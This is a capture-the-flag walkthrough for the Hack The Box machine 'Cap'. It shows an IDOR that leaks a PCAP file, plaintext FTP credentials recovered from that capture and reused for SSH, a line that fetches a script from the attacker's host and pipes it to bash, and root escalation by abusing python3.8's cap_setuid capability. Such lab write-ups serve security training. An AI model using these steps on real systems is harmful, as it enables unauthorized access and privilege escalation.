Hack The Box: Cap

An easy Linux machine involving IDOR and capabilities-based privilege escalation.

About Cap

Cap is an easy Linux machine running an HTTP server with administrative network capture features. Improper access control (IDOR) and misconfigured Linux capabilities lead to root access.

Scanning

Ping 10.10.10.245 to verify connectivity, then run Nmap:

nmap -sC -sV -oA ~/Desktop/HTB/Machines/cap.txt 10.10.10.245

Flags explained:
- -sC: run default scripts (common vulns)
- -sV: detect service versions
- -oA: save in all output formats for later use

PortService
21FTP
22SSH
80HTTP
Nmap output

FTP access fails, so move on to HTTP. Visit http://10.10.10.245:

FTP failed

The web app looks like an incident response dashboard. Check the “Security Snapshot” option; it allows downloading network captures.

CAP web dashboard

Observing the URL http://10.10.10.245/data/1 reveals a numeric ID parameter. Change it to 0 to test for IDOR:

Interesting ID in URL IDOR exploit

We successfully downloaded data/0 — a PCAP file! This can contain sensitive credentials.

Wireshark PCAP view

Filter for FTP in Wireshark to locate credentials transmitted in plaintext:

FTP password in PCAP

Foothold

Credentials recovered: user Nathan with password from the PCAP. Use them to access FTP:

FTP access successful

Retrieve the flag:

User flag

Observe password reuse — the same credentials work for SSH:

SSH password reuse SSH connected

Privilege Escalation

Host linpeas on your attacking machine:

python3 -m http.server 4444
LinPEAS hosted

From the victim SSH session, fetch and execute:

curl http://10.10.15.16/linpeas.sh | bash
LinPEAS output

Highlighted in orange — /usr/bin/python3.8 has unusual capabilities cap_setuid and cap_net_bind_service.

Capabilities found

Create a temp folder and exploit the capability:

mkdir tmp$ && cd tmp$/
python3.8
import os
os.setuid(0)
os.system("/bin/bash")
temp dir created Root shell

Root achieved! Use id to confirm and cat /root/root.txt for the final flag.

Happy hacking everyone!

Video: HTB Cap Walkthrough